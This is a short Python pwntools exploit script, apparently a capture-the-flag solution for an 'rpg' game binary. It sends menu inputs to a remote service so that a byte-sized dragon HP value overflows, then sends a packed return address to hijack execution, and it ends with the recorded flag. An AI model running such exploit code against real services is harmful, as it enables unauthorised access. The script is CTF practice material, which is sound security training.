#!/usr/bin/env python
from pwn import  *
import time


rpg = ELF('./rpg')


# cause the program use a byte to save the dragon's hp
# so it only can display -128~127
# we need to make the hp over 127 by use shield and dragon regenerate
 

r = remote('192.168.31.25',12006)
r.sendline('2')
r.sendline('2')
r.sendline('1')
r.sendline('3')
r.sendline('3')
r.sendline('2')
r.sendline('3')
r.sendline('3')
r.sendline('2')
r.sendline('3')
r.sendline('3')
r.sendline('2')
r.sendline('3')
r.sendline('3')
r.sendline('2')
r.sendline(p32(0x08048dbf))

r.interactive()

#AD{Gandhi_was_right!_:)}
